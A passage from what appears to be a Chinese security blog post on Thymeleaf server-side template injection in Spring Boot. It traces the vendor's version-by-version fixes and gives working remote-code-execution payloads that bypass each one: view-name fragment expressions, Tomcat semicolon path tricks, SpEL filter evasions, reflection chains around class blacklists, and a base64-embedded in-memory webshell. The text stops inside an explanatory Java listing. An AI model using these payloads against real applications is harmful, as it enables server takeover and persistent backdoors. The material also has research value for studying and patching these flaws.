Thymeleaf和SpringBoot的对应版本

1
2
3
4
5
6
SpringBoot     Thymeleaf
2.2.0.RELEASE 3.0.11
2.4.10 3.0.12
2.7.18 3.0.15
3.0.8 3.1.1
3.2.2 3.1.2

介绍

Thymeleaf 主要存在两种类型的漏洞,一种是出于开发者的失误,让用户可以任意指定视图名导致触发 Thymeleaf 3.x 中的片段表达式解析 RCE 。一种是在解析 Thymeleaf 模板时,其中模板内容被用户可控,导致模板中被用户注入恶意的表达式。

第一种漏洞是 Thymeleaf 的特性,主要是由于控制器在返回视图名时,如果视图名包含片段表达式,就会对其进行预处理,其中会进行 SpEL 表达式的解析,从而造成命令执行。但是官方不承认这是一个框架的漏洞,因为官方认为程序返回的视图名不应该被用户完全控制,这种漏洞是出于开发者的失误。
第二种漏洞就是我们常见的 SSTI 类型的漏洞,主要的攻击和防护方法围绕在沙箱逃逸和沙箱加固中,

下面依次来分析这两种漏洞。

漏洞一:控制视图名

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.just.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestParam;
import java.io.IOException;

@Controller
public class DemoController {
@GetMapping("/demo1")
public String demo1(@RequestParam String data) throws IOException {
System.out.println(data);
return data;
}
@GetMapping("/demo2/{data}")
public String demo2(@PathVariable String data) {
System.out.println(data);
return data;
}
}

上面的代码模拟了开发者让用户动态指定返回的模板的两种情景,两种情景本质都是一样的。

3.0.11版本及之前

介绍

Thymeleaf 3.x 提供了一个新的表达式: 片段表达式 (形如: ~{...}),用于复用前端页面的元素。并且可以用于前面测试代码中的 data 参数中。更加关键的是,在 Thymeleaf 底层解析片段表达式的时候,会对片段表达式中的预处理表达式(形如 __...__ )进行处理,而预处理表达式中是可以通过 SpEL 表达式执行命令的,从而造成命令执行。

这样就说明只有 3.x 版本的 Thymeleaf 才会受影响。因为 2.x 中只会单纯的根据 data 的值找对应的模板,不会做片段表达式中的预处理。

分析

Thymeleaf 解析返回的模板时,必经的方法是 ThymeleafView#renderFragment() 。这个方法的 viewTemplateName 对应测试代码中 controller 返回的 data 参数。如果 data 参数中包含了 ::Thymeleaf 就会把这个参数当作片段表达式处理。

然后在几个方法调用后,来到 StandardExpressionPreprocessor#preprocess() 中进行预处理表达式的处理。

这个方法中会通过正则表达式提取 __...__ 中的内容,然后交给 expression.execute() 处理,最终当作 Spel 表达式来处理造成命令执行。

根据上面的分析,我们可以构造出下面的 POC (形如 __SpEL表达式__::)。

1
2
/demo1?data=__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__::
/demo2/__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__::

3.0.12版本

介绍

针对 Thymeleaf 3.0.11 中的问题,在 3.0.12 版本中, Thymeleafutil 目录下增加了 SpringRequestUtilsSpringStandardExpressionUtils 两个类。

根据文件中的注释说明我们就可以知道,SpringStandardExpressionUtils 是用来避免 SpEL 表达式创建对象和调用类的静态方法。

https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.11.RELEASE...thymeleaf-spring5-3.0.12.RELEASE?diff=unified&w=

分析

3.0.12 版本中,renderFragment() 中多了一个对 viewTemplateName 进行判断的方法。

StringUtils.pack() 的作用是去掉字符串的空格和 ASCII 码在空格之前的特殊字符,并最后转为小写。然后就是先看 uri 中是否存在 viewName (这一步是为了检查 restful 风格的参数是否包含了 viewName ),然后遍历 url 中的参数( ?key=value 的部分 )是否包含了 viewName (这一步检查的是普通的参数),如果上述任意其一包含了 vn 就报错。正对应这个方法名,检查 viewName 是否在 request 对象中。

这样子即使开发者误开发了视图名称可以由用户控制的代码情景,Thymeleaf 底层也不会将视图名称作为片段表达式执行。

此时,我们测试代码中的两个 controller 情景就都被防护了。但是如果 controller 写成了下面的样子,就依然会产生漏洞。

1
2
3
4
5
6
7
8
9
10
@GetMapping("/demo3")
public String demo3(@RequestParam String data) {
System.out.println(data);
return "demo3/" + data;
}
@GetMapping("/demo4/{data}")
public String demo4(@PathVariable String data) {
System.out.println(data);
return "demo4/" + data;
}

此时如果 poc 写成下面的样子,就可以绕过 checkViewNameNotInRequest() 的检查。

1
2
/demo3?data=__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__::
/demo4/;/__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__::

demo3poc 好理解,demo4poc 我们在调试的时候发现 requestURI 中的 ;viewName 被去掉了,这是因为 TomcatURL 解析特性。参考 Tomcaturl 解析特性 ,具体源码就不仔细分析了。

但是我们发现上面的 poc 虽然绕过了 checkViewNameNotInRequest() ,但是还是打不通。这是因为后面还有前面提到了的 SpringStandardExpressionUtils 的检查。

检查在 SPELVariableExpressionEvaluator#getExpression() 中,这里 expContext 是禁止 SpEL 表达式中 new 对象或者调用类的静态方法的。

而对 SpEL 表达式的检查在 SpringStandardExpressionUtils.containsSpELInstantiationOrStatic() 方法中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static boolean containsSpELInstantiationOrStatic(String expression) {
int explen = expression.length();
int n = explen;
int ni = 0;
int si = -1;

while(n-- != 0) {
char c = expression.charAt(n);
if (ni >= NEW_LEN || c != NEW_ARRAY[ni] || ni <= 0 && (n + 1 >= explen || !Character.isWhitespace(expression.charAt(n + 1)))) {
if (ni > 0) {
n += ni;
ni = 0;
if (si < n) {
si = -1;
}
} else {
ni = 0;
if (c == ')') {
si = n;
} else {
if (si > n && c == '(' && n - 1 >= 0 && expression.charAt(n - 1) == 'T' && (n - 1 == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
return true;
}

if (si > n && !Character.isJavaIdentifierPart(c) && c != '.') {
si = -1;
}
}
}
} else {
++ni;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
return true;
}
}
}

return false;
}

可以看到其主要逻辑是首先倒序检测是否包含 wen关键字、在(的左边的字符是否是T,如包含,那么认为找到了一个实例化对象,返回true,阻止该表达式的执行。

因此要绕过这个函数,只要满足三点:

  1. 表达式中不能含有关键字new
  2. (的左边的字符不能是T
  3. 不能在T(中间添加的字符使得原表达式出现问题

这里在 T( 之间加上空格 %20 就可以绕过,其余还有很多字符都可以。例如换行符 %0a ,制表符 %09

绕过这点就可以成功通过 EL 表达式来 RCE 了。

POC

最终的 POC 如下:

1
2
3
4
/demo3?data=__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::
/demo4/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::
/demo4;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::
/demo4//__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::

高版本的修复

Thymeleaf 3.0.12 版本之后加强了 checkViewNameNotInRequest() 方法,要求 URI 的值和其 get 参数在 StringUtils.pack() 之后不能出现 $*#@~ 紧跟 { 的情况。

拓展

当controller不return的时候

环境

环境基于 Thymeleaf 3.0.12

1
2
3
4
5
6
7
8
@GetMapping("/demo5")
public void demo5(@RequestParam String data) {
System.out.println(data);
}
@GetMapping("/demo6/{data}")
public void demo6(@PathVariable String data) {
System.out.println(data);
}

上面的代码可以利用吗?

分析

我们这里拿原来 3.0.12poc 来打。

1
/demo5?data=__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::

1
/demo6/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::

我们发现此时第一种情况会把 URI 当作视图名,第二种情况视图名末尾的 :: 消失了。这里直接先给出结论:第一种情况暂时无解,第二种情况有办法解决。

我们可以分析一下第二种情况 viewName 是怎么获取的。

不难调试到上面的位置,发现 viewName 在这里会去掉倒数第一个 . 后面的内容,也就是去掉后缀名的操作,为了防止 .exec("calc")%7D__:: 被去掉,我们不难想到可以在末尾再加一个 . 后缀。

POC

1
/demo6/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::.

注入内存马

环境基于 Thymeleaf 3.0.12

注意:这里我们借助了 org.springframework.util.Base64Utils.encodeToUrlSafeString() 这个方法来避免出现 Base64 编码后出现 / 字符导致 Tomcat 将其识别为路由的情况。

1
http://localhost:8080/demo4/;/__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAADQAoQoACQBRCABSCgBTAFQIAFUKAFMAVgoACQBXCAAzBwBYBwBZBwBaCgAIAFsKAAoAXAcAXQgANQcAXgoACABfBwBgCABhCgARAGIHAGMHAGQKABQAZQcAZgoAFwBnCgANAFEKAAoAaAgAaQcAagoAHABrCABsCQBtAG4KAG8AcAcAcQoAcgBzCgAhAHQIAHUKACEAdgoAIQB3BwB4CQB5AHoKACcAewEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAD3JlZ2lzdGVyTWFwcGluZwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBABhwYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBABdtZXRob2RzUmVxdWVzdENvbmRpdGlvbgEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQASTGphdmEvbGFuZy9PYmplY3Q7AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAWQcAXgcAagEAEE1ldGhvZFBhcmFtZXRlcnMBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAHwBACJSdW50aW1lVmlzaWJsZVBhcmFtZXRlckFubm90YXRpb25zAQA2TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0UGFyYW07AQAFdmFsdWUBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAqACsBAAxpbmplY3Qtc3RhcnQHAH0MAH4AfwEACGNhbGMuZXhlDACAAIEMAIIAgwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAIQAhQwAhgCHAQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcMAIgAhQEARm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAAIvKgwAKgCJAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAAqAIoBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAAqAIsMAIwAjQEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAjgArAQAMaW5qZWN0LWVycm9yBwCPDACQAJEHAJIMAJMAlAEAEWphdmEvdXRpbC9TY2FubmVyBwCVDACWAJcMACoAmAEAAlxBDACZAJoMAJsAnAEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcAnQwAngCfDAAqAKABABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEWdldERlY2xhcmVkTWV0aG9kAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBACNvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1cwEAAk9LAQAlTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOwEAOihMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7KVYAIQANAAkAAAAAAAMAAQAqACsAAQAsAAAALwABAAEAAAAFKrcAAbEAAAACAC0AAAAGAAEAAAAMAC4AAAAMAAEAAAAFAC8AMAAAAAkAMQAyAAIALAAAAXEACQAHAAAApBICTLgAAxIEtgAFVyq2AAYSBwa9AAhZAxIJU1kEEglTWQUSClO2AAtNLAS2AAwSDRIOBL0ACFkDEg9TtgAQTrsAEVkEvQAPWQMSElO3ABM6BLsAFFkDvQAVtwAWOgW7ABdZGQQZBQEBAQEBtwAYOgYsKga9AAlZAxkGU1kEuwANWbcAGVNZBS1TtgAaVxIbTKcAEk0stgAdEh5MsgAfLLYAICuwAAEAAwCQAJMAHAADAC0AAABCABAAAAAOAAMAEAAMABEAKQASAC4AEwA_ABQAUQAVAF4AFgBwABcAjQAYAJAAHQCTABkAlAAaAJgAGwCbABwAogAeAC4AAABSAAgAKQBnADMANAACAD8AUQA1ADQAAwBRAD8ANgA3AAQAXgAyADgAOQAFAHAAIAA6ADsABgCUAA4APAA9AAIAAACkAD4APwAAAAMAoQBAAEEAAQBCAAAAEwAC_wCTAAIHAEMHAEQAAQcARQ4ARgAAAAUBAD4AAAABADUARwAEACwAAABoAAQAAwAAACa7ACFZuAADK7YABbYAIrcAIxIktgAltgAmTbsAJ1kssgAotwApsAAAAAIALQAAAAoAAgAAACMAGgAkAC4AAAAgAAMAAAAmAC8AMAAAAAAAJgBIAEEAAQAaAAwASQBBAAIASgAAAAQAAQBLAEYAAAAFAQBIAAAATAAAAAwBAAEATQABAE5zAEgAAQBPAAAAAgBQ"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x

然后访问 /asd?cmd=whoami

参考文章

https://forum.butian.net/share/1922
https://www.cnpanda.net/sec/1063.html
https://xz.aliyun.com/t/11688

漏洞二:控制模板内容

介绍

Thymeleaf 中的预处理表达式可以处理 SpEL 表达式,从而如果我们可以控制 Thymeleaf 渲染的模板内容,就可以执行 java 代码。

3.0.11及以下版本利用

经过了前面的分析沉淀,这里我们可以知道, 3.0.11 版本及之前没有对 SpEL 表达式的解析有任何约束,因此我们直接在预处理表达式中注入命令执行就可以了。

poc 如下:

1
2
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<p th:text="${__${T(java.lang.Runtime).getRuntime().exec('calc')}__}"></p>

3.0.12版本利用

分析

3.0.12 版本,在解析模板中的 SpEL 表达式的时候,在 SpringStandardExpressionUtils.containsSpELInstantiationOrStaticOrParam() 中要求下面三点:

  1. 表达式中不能含有关键字new
  2. (的左边的字符不能是T
  3. 不能在T(中间添加的字符使得原表达式出现问题

这里在 T( 之间加上空格 %20 就可以绕过,其余还有很多字符都可以。例如换行符 %0a ,制表符 %09

POC

poc 如下:

1
2
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<p th:text="${__${T (java.lang.Runtime).getRuntime().exec('calc')}__}"></p>

3.0.15版本利用

分析

3.0.15 版本( 3.0.x 的最后一个版本), Thymeleaf 加强了 SpringStandardExpressionUtils.containsSpELInstantiationOrStaticOrParam() 方法。但是这个方法还是可以被绕过。

这个方法和 3.0.12 版本的逻辑差不多,不过这里加强了 T( 之间空格的检测(具体逻辑在 SpringStandardExpressionUtils.isPreviousStaticMarker() 方法中),导致前面的空格绕过在这里行不通。

但是这里有办法绕过第一个限制。这个方法对 new 关键字的检测并非单纯的看 new 字符串是不是 expression 的字串,而是限制 new 字符串不能在 expression 的开头或者 new 字符串的前一个字符为非特殊字符,并且 new 的下一个字符如果不是空格就可以过这里的检测。
如果熟悉 Spel 表达式,会发现 new 后面如果紧跟的是 . 也可以解析成功,这样我们就可以通过在 new 后面加一个 . 来绕过这里对 new 关键字的限制。

POC

绕过 poc 如下:

1
2
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<p th:text="${__${new.java.lang.ProcessBuilder('calc').start()}__}"></p>

或者下面这样也是可以解析成功的

1
2
<html lang="en" xmlns:th="http://www.thymeleaf.org">  
<p th:text="${__${new.java..lang.ProcessBuilder('calc').start()}__}"></p>

3.1.1版本利用

分析

3.1.x 版本, Thymeleaf 加强了黑名单机制,禁止模板渲染中解析 SpEL 表达式的时候加载某些类。具体逻辑在 ExpressionUtils.isTypeAllowed() 方法中。

低版本 3.0.15 的黑名单:

高版本 3.1.1 的黑名单:

这里我们绕过黑名单的思路有两个:

  1. 寻找在白名单中有命令执行方法的类,从而直接命令执行。
  2. 寻找在白名单中提供了反射调用其它类的方法的类,从而用这个类来反射调用一些黑名单中可以命令执行的方法,由于这里是反射调用,所以 Thymeleaf 是检测不出来的。

下面的 poc 用的是第二种思路,主要是发现了 org.springframework.util.ReflectionUtils 封装了反射调用的方法, org.springframework.cglib.core.ReflectionUtils 封装了通过字符串的类名来获取对应类的 Class 对象的功能,。并且 POC1 利用了 org.springframework.cglib.core.ReflectionUtils#defineClass() 可以通过字节码实例化类对象,类似于 TemplatesImpl

POC

POC 参考 https://github.com/p1n93r/SpringBootAdmin-thymeleaf-SSTI

POC1

适用于 jdk9 之前。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>
<body>

<tr
th:with="defineClassMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('org.springframework.cglib.core.ReflectUtils',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'defineClass', ''.getClass() ,''.getBytes().getClass(), T(org.springframework.util.ClassUtils).forName('java.lang.ClassLoader',T(org.springframework.util.ClassUtils).getDefaultClassLoader()) )}"
>
<td>
<a
th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(defineClassMethod, null,
'fun.pinger.Hack',
T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAKgoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAoBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMSGFjazsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACUhhY2suamF2YQwACgALBwAiDAAjACQBAARjYWxjDAAlACYBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAJwEABEhhY2sBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAD2Z1bi9waW5nZXIvSGFjawEAEUxmdW4vcGluZ2VyL0hhY2s7ACEACAAJAAAAAAACAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAAwAOAAAADAABAAAABQAPACkAAAAIABEACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAABwAJAAoADAAIAA0ACQAWAAsADgAAAAwAAQANAAkAEgATAAAAFAAAAAcAAkwHABUJAAEAFgAAAAIAFw=='),
new org.springframework.core.OverridingClassLoader(T(org.springframework.util.ClassUtils).getDefaultClassLoader()) )
}"
th:href="${param2}"
></a>
</td>
</tr>

</body>
</html>

POC2

适用于 jdk9 之后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>
<body>

<tr
th:with="createMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('jdk.jshell.JShell',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'create' )}"
>
<td>
<a
th:with="shellObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(createMethod, null)}"
>
<a
th:with="evalMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('jdk.jshell.JShell',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'eval', ''.getClass() )}"
>
<a
th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(evalMethod, shellObj, new java.lang.String(T(org.springframework.util.Base64Utils).decodeFromString('amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKQ==')))
}"
th:href="${param2}"
></a>
</a>

</a>
</td>
</tr>

</body>
</html>

POC3

不限 jdk 版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>
<body>

<tr
th:with="getRuntimeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'getRuntime' )}"
>
<td>
<a
th:with="runtimeObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(getRuntimeMethod, null)}"
>
<a
th:with="exeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'exec', ''.getClass() )}"
>
<a
th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(exeMethod, runtimeObj, 'calc' )
}"
th:href="${param2}"
></a>
</a>

</a>
</td>
</tr>

</body>
</html>

3.1.2版本利用

高版本 3.1.2 进一步加入了 8 个新的类到黑名单来处理 3.1.1 版本的 CVE-2023-38286

目前 SpringBoot 最高的版本为 3.2.3 ,对应的 Thymeleaf 版本为 3.1.2 。也就是说下面的 poc 可以通杀当前 SpringBoot 对应的 Thymeleaf

POC

绕过 poc 如下(其中 .. 的部分也可以用一个 . ,只不过 .. 可能可以过一些 WAF ):

POC1

1
2
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<p th:text='${__${new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().findMethod(new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Runtime"),"getRuntime",null),"invoke",{null,null},{new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Object"),new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("org."+"thymeleaf.util.ClassLoaderUtils").loadClass("[Ljava.lang.Object;")}),"exec","calc",new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.String"))}__}'></p>

上面的 spel 表达式的 poc 等效于下面的 java 代码,用来说明原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.just;

import org.apache.tomcat.util.IntrospectionUtils;
import org.springframework.instrument.classloading.ShadowingClassLoader;
import java.lang.reflect.Method; // 这个import可以省略,我这里只是中间过程写的比较详细

/**
不import黑名单的类来实现RCE,完全只靠IntrospectionUtils和ShadowingClassLoader。黑名单的类通过字面量反射来获取,这样Thymeleaf就识别不出来。
ShadowingClassLoader提供根据类名来获取对应的Class对象的功能,类似前面的org.springframework.util.ReflectionUtils。
IntrospectionUtils提供获取和调用某个类的方法的功能,类似前面org.springframework.cglib.core.ReflectionUtils。
*/
public class Demo2 {
public static void main(String[] args) throws Exception {
ShadowingClassLoader shadowingClassLoader = new ShadowingClassLoader(IntrospectionUtils.class.getClassLoader());

Class<?> objectClass = shadowingClassLoader.loadClass("java.lang.Object");
Class<?> stringClass = shadowingClassLoader.loadClass("java.lang.String");
Class<?> classLoaderUtilsClass = shadowingClassLoader.loadClass("org.thymeleaf.util.ClassLoaderUtils");

Method getRuntimeMethod = IntrospectionUtils.findMethod(shadowingClassLoader.loadClass("java.lang.Runtime"), "getRuntime", null);
Method loadClassMethod = IntrospectionUtils.findMethod(shadowingClassLoader.loadClass("org.thymeleaf.util.ClassLoaderUtils"), "loadClass", new Class[]{stringClass});
// 这里获取Class的方式比较特殊是因为shadowingClassLoader无法通过字符串加载数组类型的Class,也就是无法识别[Lxxx;的类名
